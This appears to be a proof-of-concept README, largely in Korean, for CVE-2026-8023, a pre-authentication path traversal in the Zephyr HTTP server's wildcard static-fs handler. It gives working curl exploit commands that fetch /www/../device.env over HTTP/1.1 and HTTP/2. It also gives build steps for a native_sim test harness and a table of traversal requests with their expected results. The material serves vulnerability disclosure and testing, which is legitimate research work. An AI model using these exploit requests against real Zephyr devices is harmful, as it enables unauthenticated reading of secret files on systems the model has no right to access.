
PoC for CVE-2026-8023: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Zephyr HTTP 서버 static-fs 핸들러(subsys/net/lib/http)의 사전 인증 경로 탐색으로, 와일드카드 리소스 매칭(CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y)이 HTTP_RESOURCE_TYPE_STATIC_FS와 함께 사용될 때 발생합니다. HTTP/1.1 및 HTTP/2 모두에 영향을 미칩니다.
GHSA: GHSA-hch3-53g6-jj3h
b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)e55278a87be4e5534ba772b23e459882866bcd6d (2024-07-31)curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"
git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update
# Copy the contents of this repo's pocs/ into zephyr/pocs/
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash
# Inside container:
west build -p always -b native_sim/native/64 \
zephyr/pocs/http_static_fs_native_sim \
-- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe
하네스는 LittleFS 이미지를 마운트하고, 웹 루트 /littlefs/www/ 외부의 /littlefs/device.env에 비밀을 기록하며, 와일드카드 static-fs 라우트를 노출한 후, 네 개의 루프백 요청을 발행합니다:
| 검사 | 요청 | 예상 |
|---|
HTTP1_GLOB_TRAVERSAL | GET /www/../device.env (HTTP/1.1) | 200 + 비밀 |
HTTP1_ENCODED_TRAVERSAL | GET /www/%2e%2e/device.env (HTTP/1.1) | 404 (디코딩 없음) |
HTTP2_GLOB_TRAVERSAL | :path = /www/../device.env (HTTP/2) | 비밀 바이트 |
HTTP2_ENCODED_TRAVERSAL | :path = /www/%2e%2e/device.env (HTTP/2) | 비밀 없음 |